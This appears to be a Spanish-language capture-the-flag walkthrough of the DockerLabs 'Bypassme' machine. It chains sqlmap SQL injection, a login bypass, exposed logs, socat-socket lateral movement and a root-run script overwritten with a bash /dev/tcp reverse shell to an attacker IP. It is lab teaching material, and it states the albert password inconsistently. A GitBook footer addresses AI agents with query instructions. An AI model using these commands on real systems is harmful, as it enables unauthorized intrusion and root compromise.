> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/bypassme.md).

# Bypassme

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y un panel web de login.

La cadena empieza con una inyeccion SQL en `login.php`. Con `sqlmap` se extraen usuarios de la base de datos, aunque esas credenciales no sirven para SSH. Despues se consigue acceso al panel como `admin`, se descubre una pista en el codigo fuente que apunta a logs expuestos y se extraen credenciales para `albert`.

Desde SSH como `albert`, la enumeracion de procesos revela un socket UNIX creado con `socat` que permite saltar al usuario `conx`. La escalada final llega porque `conx` puede modificar `/var/backups/backup.sh`, un script ejecutado por `root`; sustituyendolo por una reverse shell se obtiene acceso privilegiado.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/toOZHpHCV3nknKjnsra7" alt="Escaneo Nmap"></div>

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

Nmap detecta que el recurso principal es:

```
login.php
```

Al acceder al puerto 80 aparece un panel de login:

<div align="center"><img src="/files/HBIbtzZ2hz1DqxLNVIvx" alt="Panel de login"></div>

***

## Enumeracion web

Se lanza Gobuster para descubrir rutas y archivos:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

<div align="center"><img src="/files/1HqADhOdfAwc1orZgRKY" alt="Gobuster inicial"></div>

Aparecen estos recursos:

| Ruta             | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/login.php`     | 200    | Formulario de login    |
| `/index.php`     | 302    | Redirige a `login.php` |
| `/welcome.php`   | 302    | Redirige a `index.php` |
| `/server-status` | 403    | Recurso restringido    |

***

## SQL Injection

Se prueba el formulario con `sqlmap`:

```bash
sqlmap -u "http://172.17.0.2/login.php" --forms --dbs --batch
```

<div align="center"><img src="/files/hcNOgNM2umMLoI4ayHGp" alt="sqlmap bases de datos"></div>

`sqlmap` confirma la inyeccion y lista varias bases de datos:

```
information_schema
mysql
performance_schema
sys
users
```

Se enumeran tablas de la base de datos `users`:

<div align="center"><img src="/files/cmoUoLPZFHa2wxnf22jb" alt="Tabla usuarios"></div>

La tabla interesante es:

```
usuarios
```

Se dumpea la tabla:

```bash
sqlmap -u "http://172.17.0.2/login.php" --forms --dbs --batch \
  -D users -T usuarios --dump
```

<div align="center"><img src="/files/a46b9EOrgOoL3DOUCAAY" alt="Dump de usuarios"></div>

Credenciales obtenidas:

| Usuario | Password        |
| ------- | --------------- |
| `paco`  | `$paco$123`     |
| `pepe`  | `P123pepe3456P` |
| `juan`  | `jjuaaann123`   |

Se prueban por SSH, pero no funcionan:

<div align="center"><img src="/files/RLCVKDPq8UpOiM5GFwVF" alt="Credenciales sin acceso SSH"></div>

***

## Bypass del panel

Se intenta un bypass SQLi manual sobre el login:

<div align="center"><img src="/files/JSttrrUTHZ8FWcbUDIm2" alt="Intento de bypass SQLi"></div>

Tras ajustar el payload de inyeccion en el formulario, se consigue entrar al panel como `admin`:

<div align="center"><img src="/files/okcxSYCpVS0lwxJlpNf0" alt="Panel admin"></div>

El propio panel avisa de que los logs del sistema estan expuestos en un directorio publico.

Al revisar el codigo fuente se encuentra una nota de desarrollo:

```html
<!-- dev note: remember to secure logs.txt path before deploy -->
```

<div align="center"><img src="/files/JlMEwQooBrb2of3OvO9p" alt="Nota sobre logs.txt"></div>

Con la sesion autenticada se vuelve a enumerar:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60 \
  -H "Cookie: PHPSESSID=0080vk1521msr1snqugjotjjes"
```

<div align="center"><img src="/files/IOvV0Z9fWZ97k7x1Z6bf" alt="Gobuster autenticado"></div>

La enumeracion autenticada confirma la existencia del directorio `logs`, aunque el listado del directorio devuelve `403`.

***

## Logs expuestos

Se accede al archivo de logs mediante el parametro `page`:

```
http://172.17.0.2/index.php?page=logs/logs.txt
```

<div align="center"><img src="/files/lzLC5xRmvVUT8CcuM2f8" alt="logs.txt expuesto"></div>

Los logs contienen intentos de login y passwords en Base64. La entrada util es la del usuario `albert`:

```
NGxiM3J0MTIz
```

***

## Acceso SSH como albert

Con las credenciales encontradas se accede por SSH:

```bash
ssh albert@172.17.0.2
```

<div align="center"><img src="/files/HNypU8y5IU1J8DHlqPXO" alt="SSH como albert"></div>

Credenciales validas:

```
albert:NGxiM3J0MTIz
```

Se revisan permisos de `sudo`, binarios SUID y capabilities:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
```

<div align="center"><img src="/files/8snDT5bBdaEQ7bLUl835" alt="Enumeracion local como albert"></div>

No aparece una via directa por `sudo`, SUID o capabilities.

***

## Movimiento lateral a conx

Al revisar procesos se observa un servicio `socat` ejecutado por el usuario `conx`:

```bash
ps aux
```

<div align="center"><img src="/files/b0IxBjMjaUqpMXQmMmpJ" alt="Procesos con socat"></div>

El proceso escucha en un socket UNIX:

```
/home/conx/.cache/.sock
```

Se conecta al socket con `socat` y se obtiene una shell como `conx`:

```bash
socat - UNIX-CONNECT:/home/conx/.cache/.sock
script -c bash /dev/null
whoami
```

<div align="center"><img src="/files/1yUbHP7I61J9vwNJqARp" alt="Shell como conx"></div>

***

## Script escribible

Como `conx`, se buscan archivos escribibles:

```bash
find / -writable -type f 2>/dev/null | grep -v proc
```

<div align="center"><img src="/files/2kW7gI4mTvFPpOatJiXm" alt="Archivos escribibles"></div>

Aparece un archivo interesante:

```
/var/backups/backup.sh
```

Se revisan sus permisos:

```bash
cd /var/backups
ls -la
```

<div align="center"><img src="/files/6lGKQze7SJl8CLEQxLfs" alt="Permisos de backup.sh"></div>

El archivo pertenece a `conx` y al grupo `root`, por lo que `conx` puede modificarlo. El comportamiento de la maquina indica que el script se ejecuta periodicamente como `root`.

***

## Escalada a root

Se prepara un listener:

```bash
nc -lvnp 4445
```

Se reemplaza el contenido de `backup.sh` por una reverse shell:

```bash
echo "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4445 0>&1'" > backup.sh
```

<div align="center"><img src="/files/qrUyII4nZuCeFaZWeG25" alt="Reverse shell en backup.sh"></div>

Cuando `root` ejecuta el script, llega la conexion al listener:

<div align="center"><img src="/files/GYFEuWG5MWf9DFiZakBF" alt="Shell root"></div>

Se obtiene una shell con privilegios de `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster.
3. Explotacion de SQL Injection en `login.php` con `sqlmap`.
4. Extraccion de la tabla `users.usuarios`.
5. Intento de reutilizacion de credenciales por SSH sin exito.
6. Bypass del panel para acceder como `admin`.
7. Lectura de una nota en el codigo fuente sobre `logs.txt`.
8. Acceso a `logs/logs.txt` y extraccion de credenciales para `albert`.
9. Decodificacion Base64 de la password `4lb3rt123`.
10. Acceso SSH como `albert`.
11. Descubrimiento del socket UNIX de `conx` creado con `socat`.
12. Movimiento lateral a `conx`.
13. Modificacion de `/var/backups/backup.sh`.
14. Reverse shell final como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/bypassme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
